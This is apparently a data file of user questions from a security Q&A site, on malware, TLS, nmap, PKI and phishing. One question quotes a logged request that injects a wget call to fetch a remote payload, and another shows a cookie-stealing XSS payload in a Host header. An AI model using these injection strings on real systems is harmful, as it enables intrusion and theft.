instruction stringlengths 24 29.9k |
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Can a virus infect my Windows XP operating system by its mere presence? I mean, if I copy/paste a virus on my computer and I never click on it, will it infect my computer or will it remain dormant, not harming my computer, as long I do not click on it?
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Lets say for example I have to use a public online proxy like https://www.zend2.com
to load a PHP webpage controlled by me containing sensitive data over HTTPS.
How would I make sure that the proxy in the middle doesn't have insight in the data without modifying the client (browser), JavaScript and/or additional doma... |
How can normal files supported in the Windows operating system hide a virus?
Sometimes opening a .txt , .jpg or .docx files leads to running a virus. How is this possible?
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Are there any known cases where antivirus companies for some reason have choosen to make their product allow/ignore malicious software?
The reason could be government coercion or former trustworthy companies/developers turning to cyber-crime.
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We all know we should keep our programs up to date, after all each of them could have an unlatched security hole that was fixed in the latest update. However the average computer easily contains 200+ programs and only few of them actually contain automatic updaters. This leaves most of them open to all kinds of attacks... |
I am doing a penetration test at the moment, where the client has deep packet inspection for SSL enabled (my guess), as every SSL connection seems to being MITMed.
Now, some HTTPS sites, like Gmail, throw up a warning about the site not being trusted. Which is expected. Other sites however, such as Yahoo Mail, are not ... |
On attempt to change my cPanel password I was warned that:
Your password could not be changed because the new password failed with the following reason : (is too similar to the old one), please try again!
Which is correct, my old and new passwords does differ by a single character. However that rises the question how... |
I'm fairly okay with PCs but when it comes to networking i'm quite lost with the details.
My brother started up Mount and blade war band napleonic wars - an official game and played multi player and joined a server. All of a sudden malwarebytes starts blocking outbound connections to 176.53.17.226, on ports 49287, 639... |
My company is going to start to provide penetration testing services pretty soon, in fact, we are just missing the legal aspects of it.
I'm wondering if is there any template which states the most common get-out-of-jail things? Or should we write a custom document for each client? If so, what should include?
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This is a Nessus finding, which is considered medium by default.
Basically it may allow for some plaintext injection which may allow for some man in the middling.
My question is, has these been exploited in the wild? Are there to tools to take advantage of it? I'm thinking of permanently reducing the risk to low for t... |
I have a library that stores all its ECC Field Elements in uncompressed form, in a bloated Base64 XML format, and storage has become a concern. (We want to support QR code as a form factor,etc)
Rather than ask the crypto library authors to support compressed points in ECC (I don't know how difficult this would be) I t... |
The consensus on this Server Fault question seems to be that opening port 3306 for MySQL is more dangerous than using an SSH tunnel to access MySQL.
I would think that with strong credentials you could keep MySQL safe, especially since the login can be locked down to certain hosts in the USERS table.
Is there someth... |
When I was about 13 or 14 years old, I was a little interested in cryptography (which is, after all, an interesting field). I learnt quite a lot since that time (it has been about 8 years since then), but I'm still very far away from concidering myself an expert in cryptography.
Whatever, when I was at that age, I wrot... |
I understand that the answer to questions like this depend on country, but I'd like to get an idea what the usual approach to cases like this are.
Heres the case:
I found a security hole in one of the governments services.
The flaw makes it possible for anyone to download documents that would normally require authoriza... |
What passwords are stored in Microsoft Windows? How can I know what password are saved in computer?
|
I'm using Charles to sniff out the traffic on my iPhone at Starbucks and for some reason it won't work with at&t wifi. Google Starbucks wifi does, however. I use my iPhone to connect to the same wifi network that my MacBook is connected to. Then, for the proxy settings on my phone, I enter my computer's local IP addres... |
Some sites that I use check my password as I type it into the login (not registration) form. So, for example, to begin with I might have:
Username: sapi ✓
Password: passw ×
and by the time I've finished typing, the site already lets me know that there were no mistakes:
Username: sapi ✓
Password: password123 ✓
Submis... |
Let us visit a given webpage on which video files and/or java applets are embedded. Could clicking to start on these videos/applets lead to a drive-by download attack ?
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The entry below is from the visitors log in c-panel
Host: .
/specific legimate-wordpress-post/
Http Code: 503
Date: Jul 24 09:28:06
Http Version: HTTP/1.1
Size in Bytes: 1118
Referer: http://mywebsite.com/
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Sa... |
I'm working on an application where users have a key or password generated by me that is used to encrypt a string. Each user has their personal key, and no user should be able to decrypt another user's string.
How to generate a "superkey", which could decrypt the strings encrypted by all the users key? I am new in cryp... |
I am currently developing my own PKI where x.509-client-certificates are issued by a public server. At the moment, the CA-public key is distributed with the binary and there are no routines for renewing neither client nor CA-certificates. What should I think about when implementing these routines? My thoughts are:
For ... |
I am fiddling about with a sort of single sign on procedure.
Let's say there is site1 and site2 and both use an SSL certificate.
Users are signed in on site1.
I was wondering what the experts think of this way to let users automatically sign in on site2 that is hosted on a different server:
clicking on a link in site... |
This question is an ongoing discussion at work. Assume a Tomcat serving some web application and has all JMX and remote management stuff disabled. If you consider three scenarios:
Tomcat serves directly to the internet.
Apache Webserver serves to the internet, Tomcat is connected via AJP
Apache Webserver acts as a pro... |
I'm adding new features to an old Borland C++ VCL application using Borland 2006 IDE.
I'm finding that upon adding a single line of code, and building, the exe is being quarantined since Sophos is detecting it as a virus/spyware - Squatter-310 to be exact. If I remove the line then the application builds as expected or... |
Env
Rackspace cloud server
Wordpress 3.9.1
Ubuntu 12.04 Linux web.mydomain.com 3.2.0-67-virtual #101-Ubuntu SMP Tue Jul 15 17:58:37 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
History
These may actually be part of the same issue, I have already resolved those yesterday. Adding here for reference and background history.
... |
Pseudorandom generators (PRG) are functions that takes a random small input (called the Seed) and maps it into much larger output .
However, the mapping process must be unpredictable in order for the PRG to be used securely in cryptography.
My question is: Are there any tool the does the opposite? i.e. takes a long ra... |
I installed a fresh Windows 7. I wonder why when I visit website using HTTPS, I do not get asked to accept their certificate like shown on this picture:
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I would think the answer is unequivocally, "No." But...
My MacBook Pro logged "Diagnostic and Usage Messages" in the Console, at 4:19am, while it was physically closed and (therefore) sleeping. I was physically asleep from a bit before 1am until 8am. I'm the only one who was here last night. When I woke up, I actually ... |
(I have GNU/Linux and Microsoft Windows installed.) I played a game on Microsoft Windows, quit the game, restarted the PC, and selected GNU/Linux.
On the login screen, the background image was different, contorted, glitchy (similar to this image, but not as bad). On a closer look, it showed parts of the game I played …... |
I'm investigating the state of my MacBook Pro which I know was compromised, and do not know if I removed the exploits completely (and I realize, technically will never know this). I'm trying to hone in on specific exploits, not expecting to prove they don't exist, but in any case I can prove that they do, that can help... |
Little Snitch has been useful to get a better handle on all the connections my computer tries to make. It's main dialog to allow or deny connections allows customizing (e.g. require specific port, or allow all connections, etc.) but it has no option to allow *.domain.com. This is possible by manually editing the create... |
I've heard others talk of disabling NetBIOS, but over the years I have never understood exactly when this protocol is required. The wikipedia page explains very abstractly what it is, but not which products rely on it. I'd love to disable any services I have no use for.
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Hi I just wanted some feedback on a DDOS preventing php script that I'm designing. It quite simple and I wanted some feedback on whether you guys think it would be effective.
I'm currently using the ulogin framework as a base and have implemented API Key's. At the moment the user will send a request with a key. This ke... |
If I try the sV (service detection) flag in nmap run via proxychains (socks5 server) it appears to give me a segmentation fault message:-
root@kali:~# proxychains nmap -n -sT -Pn X.X.X.X -p 22,80,222,10000 -sV
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-25 16:40 BST
Se... |
I am using the last versions of IE, Firefox and Google Chrome web browsers on Windows 8. How can force these browsers to accept automatically the SSL certificates of any website I will visit ?
I know this is not a good security practice, but I do it for a specific security reason, indeed (virtualization and some stuff)... |
I'm learning about web security mechanisms. I have developed the following system
in PHP and JavaScript:
assuming that I have a page named: messages.php which is a real-time chat system.
first when the page loads, a page id is generated and then an Encryption Key is stored into a Session called $_session["key".page_id... |
I want to scan my own website for vulnerabilities using Vega and w3af from kali linux. I assume these tools perform active attacks, not passive ones. Is this correct?
If they do perform active attacks on the site to find vulnerabilities, are the payloads malicious? E.g. can I harm the database when checking for SQL inj... |
3D secure is a system where, after you enter your credit card details on a merchants site, you are redirected to a site hosted on the bank servers where you enter a OTP sent via SMS to complete the transaction.
However, this system is only used by sites hosted in India and a few other countries. Doesn't this render the... |
Canvas Fingerprinting has been getting a lot of press these last few days.
Here is a study I read on this topic: 1 and 2
What can I do to keep browsing anonymously and avoid this tracking method?
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Does storing temporarily a non-encrypted file containing some PANs violate pci requirements? (for example because it is being processed by an application, or to open it on a file editor)
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I am trying to build an EAP-TLS client. The handshake I have to deal with involves receipt of fragmented messages from the RADIUS server. As a part of the client reply, I have to construct a certificate verify message, which involves hashing all messages involved in the handshake using a private key, to ensure mutual a... |
I believe that it uses some combination of the random values sent in the hello messages. From RFC 2246: (TLSv1.0)
RSA encrypted premaster secret message
Meaning of this message:
If RSA is being used for key agreement and authentication, the
client generates a 48-byte premaster secret, encrypts it usi... |
Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. What are the pros and cons?
Pros
access even if user forgets password
access whenever is convenient, for example if user... |
I am reviewing NIST SP800-30 rev 1 and I am having a hard time understanding how they determine the distribution of values within the risk matrix. In the document, they define semi-qualitative values – I am assume that these values are used in the calculation – however, the calculations are not provided. I am trying to... |
Greetings SE security community.
Background: I have a number of items like certificates, databases, and encrypted file systems that require private keys. In order to avoid having duplicates of these keys on the different systems that use them, I'd like to keep them all in a secure portable location, like an encrypted f... |
My girlfriend just told me that her computer was stolen, the computer was hibernated and the second the thief turn the computer on a lots a things will open automatically. I'm hoping I can get the computer location, or at least an IP address when the computer turns on
It is a Windows 7, below the services that will pop... |
I run an MMORPG game and today while moving from one server to another, apache failed and listed some of the data on the server including a back-up of all the source code + database which a few people downloaded
By the time I realized that happened, I forced a password change on all users and I immediately changed my d... |
Is there any security measures that I should take when downloading article text from the web as far as file integrity? For example, I've written a bot that retrieves article text from a user's blog and saves them to disk. What measures would you recommend and/or enforce?
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I want to send data over the Internet securely. For that, I am using an public key of the receiver to encrypt the data. In this case, if an intruder in the network modifies the data, like placing the bits by rotating, can I decrypt the data successfully?
And also I am sending data over the network all the time. If the... |
I wonder if it is safe to use public WiFi in places where the WiFi router might not be managed by professionals and anybody is able to come and connect to the network with their own device.
There are many things that can happen when the workplace hasn't protected their Wi-Fi. For example, DNS spoofing isn't really hard... |
Is there a way to achieve PCI compliant data encryption at disk/folder level in Windows in a way that is transparent to applications(they must be able to write/read to encrypted folders/disks as if they weren't encrypted)?
How should the keys be managed (regarding for example key rotation)?
|
I want to trace a user based on IP Address (or MAC Address) on a Network with about 10 L2 or L3 Switches. Is it possible to know that on exactly which switch and on which port a user with a specific IP Address (or MAC Address) is working?
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I have a Tomcat application which is front ended by an Apache web server - end users connect to the Apache web server (never directly to Tomcat) and Apache has a valid, externally issued SSL etc
The Apache web forces HTTPS so I have to connect to Tomcat over HTTPS otherwise it causes mixed mode messages etc and stops f... |
If a computer is setup as a honeypot and is on the same LAN with other computers, could other computers be attacked?
My thought is that if an attacker infects a honeypot with a worm, this worm would spread over the LAN to other computers. Am i right?
|
So I have minimal knowledge of security really but I'm a primary developer on an application which handles some sensitive data that we want to be secure. The application communicates with one other server (the other server is the front end, my server is basically the backend). Our security expert (who is not currently ... |
I'm trying to do some Nmap OS detection and I'm running into some results I don't understand.
The scan I'm running is the following:
nmap -O -F -v -T2 -oA nmap-uphosts-OSdetect -iL < my_in_file
I've got -F in there to limit the number of ports because the scan of 40 hosts was taking really long with the default 1000 ... |
What I mean by public device?
E.g. in Germany we have small stations to charge cars powered by electricity. This stations are small towers with a flap. Behind the flap are plugs to connect the tower with your car.
Process of charging:
To utilize the tower we use a smartphone app. The user can browse through a number o... |
Please find here described an OAuth2 session fixation attack. Is the attack possible? And am I understanding correctly how it can be stopped?
The attack
Mallory starts logging in at client.example.com via a certain OpenAuth2 provider, but just after the provider has sent the authorization response (https://www.rfc-edit... |
Is there any known virus that targets the main operating systems: Windows, Linux and Mac OS X?
|
If a computer (running different services such as ftp and ssh) is placed on a Demilitarized Zone, will all of its services automatically be accessed by anyone on the internet?
If the answer is yes, then is it possible to only allow a specific service such as ftp, to be accessed over the internet and block access to al... |
I have a friend (X) who hacked the whatsapp account of someone (Y) using iphone. He told me that he sent a packet to the iphone of Y that appears as a normal whatsapp message but now he can see all the chat of Y. My question is how did he do it exactly and what's the name of this technique? Don't iphone or other machin... |
is there a solution to create FW rules by URL instead of IP for inbound traffic? For example a.example.com and b.example.com are the same IP on the DNS, but they are different sites, is there a solution to open port 22 for example just to a.example.com?
If so, what is the name of the solution?
Thanks.
|
I've researched several forms of encryption/hashing and have often come across the term "bits of security". For example, at least one source claimed SHA-256 = AES128 = ECC256 = 128 bits of security.
My question is, if this is true, can I take a 256-bit SHA-256 digest and compress it down to 128 bits without loss of ... |
I've noticed that I used to be assigned an external IPv4 from my ISP and a 24 bit mask (255.255.255.0), then it changed to 255.255.255.255, today I was studying IPv4 subnetting and I understand that now each ISP subscriber is on his own subnet (right?), then I read about the Snowden leak of the partnership between NSA ... |
Could a PDF file contain any type of malware?
|
I am performing a penetration test against a website that uses Flash.
I found this piece of code:
url = ExternalInterface.call("window.document.location.href.toString") as String;
How it can be exploited?
I tried to exploit it as XSS via submitting a payload after the #:
.swf?id=blabla#payloadhere
but nothing. Since ... |
I have a REST API that can potentially serve multiple web clients.
I want to ensure that only my single page app on my-one-and-only-web-cleint.com can make requests to my API. How do I do this?
Right now there isn't much to stop someone from copying the source of my website and act as a copy of my single page app on my... |
If you have a fairly secure computer how dangerous is it to connect to a modem directly without a router in between.
Let's say the computer is running Debian as a host and Whonix in VirtualBox, a VPN on host and has the appropriate firewall rules in place.
Would it still be important both for security and the integrit... |
Say we are given a strong cryptographic hash function hash(), a strong completely random password of 15 characters pass15, two single-character salt values salta, saltb.
We compute the hashes hasha, hashb by applying the hash function to the pass15 password + the salts:
hasha = hash(pass15+salta)
hashb = hash(pass15+s... |
In this video, an experienced Ubuntu user manages to infect his system with some sort of malware.
This is the first example I've ever seen of truly successful malware in the wild aside from privilege escalation.
I have learned my lesson and since disabled Flash, but I'm still curious, how was this able to infect the sy... |
The OAuth2 spec describes the Resource Owner Password Credentials grant type and authorisation flow here. I understand that only 'trusted' client applications would be allowed to use this grant, for example the 'official' iPhone or Android client application to by backend API.
My question is: how can I guarantee that r... |
I am currently writing a thesis about digital forensics which includes a chapter about memory forensics.
Besides the tools and the methods of acquiring various data with them,
I am kind of desperate to find information about how these tools (eg Volatility) are actually working in theory.
For example, how they identify... |
I'm able to inject JavaScript payload in HOST header, a request will look like:
Host: <script>alert(document.cookie)</script>
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/29.0
Cookie got alerted with no problem.
My question is: is this exploitable? Or is it a Self-XSS because I don't know how to send the victim a sp... |
We have an Authority Center (CA) generating some public and private keys for each client (more than one pair for each client). One method for sending keys to client is sharing a secret key between CA and client, and then sending key pairs and certificates by symmetric encryption method (with secret key). But overhead w... |
Considering OpenVZ, KVM and Xen:
Which VM technology is the most difficult for the host's administrators to access given an encrypted root partition?
Can I have a reasonable expectation that rogue administrators cannot become root inside my VPS by running a simple command on the host machine?
Which type of VM is most ... |
How to trace an admin login to active directory server (2008 R2) from which host or which ip (In the situation where multiple admin are working) ?
|
There is a very interesting puzzle on the Programming Puzzles and Code Golf site to Rearrange pixels in an image so it can't be recognized and then get it back. I understand that this is not cryptography, but I wonder how effectively a message could be hidden in such an image and then securely transferred and retrieved... |
Question(s)
Is it possible to "redirect" linux-update-repos via DNS spoofing (e.g. DNS cache poisoning) to a malicious website, so that harmful software (updates) will be installed, when running the packet manager's update function (yum, apt-get, etc.)?
Or is that completely unrealistic, since those repos are very well... |
What is the difference between virtual machine and virtual desktop?
KOMODO Internet Security, for example, offers virtual desktop, and there's a stealth program there.
If software sends the same identifier, hostname, tracking cookie or similar does VM or VD prevent the leaks?
|
According to Browsec's website this application can be used to Bypass firewalls. So in countries like Iran it seems a useful tool to bypass censorship and filtering.
For start using this application there are two version available, A "Chrome extension" and a "Portable Firefox" version.
My question is that is it safe to... |
We have a set of servers hosted at a tier-1 provider, and they are currently behind a VPN running on a gateway machine and not accessible to the open internet. Due to VPN instability issues we've been having, we're looking at other options. Can someone provide ideas on how we can maintain protection at the network le... |
Are anti-viruses useful nowadays ?
Given the number of viruses that are developed and spread monthly, and given the fact anti-viruses are based on virus signatures, I wonder how much it is useful and effective to use an anti-virus ?
|
I was reading about CompuTrace and this thing is pretty much a backdoor and irremovable. It's in the firmware, in the BIOS and survives formatting and even hard drive change and OS reinstalls.
Some question came to mind,
Does CompuTrace work with Linux?
Does CompuTrace still work when using VPN or Tor?
How do you fin... |
I have an old PDF.zip file that is password secured. Naturally I can't remember it.
Is there a way to change it or disable it?
|
Illustration : mainsite.com and contentsite.com both are being developed for same company by two teams. we will have login etc at mainsite.com
contentsite.com will have some content that is not available for users who have not logged-in. But login will be via mainsite.com
What is the best way to implement this? Some us... |
In a blog post I recently read called "You Don't Want XTS," the author explains some of the pitfalls of using XTS to encrypt filesystems. Specifically, he recommends against ever sharing encrypted file-based filesystems over services like Dropbox when the file-based disk is encrypted in XTS.
Since TrueCrypt offers a fa... |
I was looking at the TLS Working Group Charter. I noticed that confidentiality and integrity of messages for those who desire it are not goals for the group.
Naively, I believe confidentiality and integrity are probably the predominant use cases. There are even folks who [incorrectly] state you get "end-to-end" securit... |
I'm doing a penetration test for a client who wants me to try and target a specific server. I have managed to get credentials(hard-coded in an in-house app) to a limited account on this server that works with sftp, but won't give a shell with SSH.
The message states that shells are only available when connecting from t... |
I'll be looking to perform a domain password audit in which the user will be using english characters but may be 40% Mandarin speakers so I anticipate a large number of names, phrases, or words that are written to be mandarin (but written using english character set).
I'd like to perform a hybrid attack and thus I'm ho... |
This is a short but general question. I am relatively new to programming in general. My site, which is predominately written in PHP, will be launched soon and is undergoing some security tightening. This started with converting the whole thing to PDO with prepared statements (from what was a MySQL set up) to making ses... |
today I received this
16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day"
so with
HTTP_USER_AGENT: chroot-apach0day
REQUEST_URI: x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day
app... |
I received this email from what is supposedly Facebook today. Here's a screenshot:
I was not aware I had credits or credits existed on Facebook and apparently I have $2.30 worth. It looks legitimate at first glance, the email address looks like all the other Facebook emails I get but I have a few reasons to believe th... |
The new banking app (for norwegian bank Gjensidige bank) for my android handset allows me to log in using only my social security number, and a 4 digit pin code. The social security number in norway is not a secret number (even though people usually dont post it online). The phone is registered in the internet-bank, to... |
Since canary is used by gcc to prevent stack overflow (e.g. -fstack-protector), I am wondering whether glibc uses canary-based approach to defend heap buffer overflow? For example, this paper proposes canary-based detection against heap buffer overflow. And Windows systems already use heap cookies to mitigate heap buff... |
I have always been told that writing your own login method (e.g. validate user given the username and password) is bad practice, and that one should reuse existing libraries for that.
I have always believed that, but I am looking for practical threats in such a scenario (C#). The practical case I am looking into is cu... |
I found some website blacklisted on Google. I mean when you try to visit them, you get something like shown on this picture:
After a small search, I found that some of them have a malicious JavaScript file on few of their URLs.
My question: could a malicious JavaScript file (pointed on a URL www.example.com/picture... |
I have a website. Suppose someone will code a program that will click continuously on the links of my webpage: could this lead to a DoS attack ?
|
As https://security.stackexchange.com/a/11935/35886 states: the best protection against code injection is to prevent it but often you see posts on SO or here that goes like
I found "long line of php/perl, etc code" and want to know what it does.
Then I realized that many of those code injections tend to be very long ... |
I have a classic security problem where Alice needs to prove its identity to Bob but with quite unusual requirements and constraints due to a M2M context.
EDITs in bold
The communication channel used between Alice and Bob has the following characteristics :
only Alice can send messages to Bob (Bob cannot talk to Alice... |
After having the hostmaster@domain.com email compromised, we found that someone issued a
Domain Validated SSL certificate for our domain.
Now we want to have all such certificates revoked.
Is there a way to find all certificates issued to our domain by different SSL providers?
|
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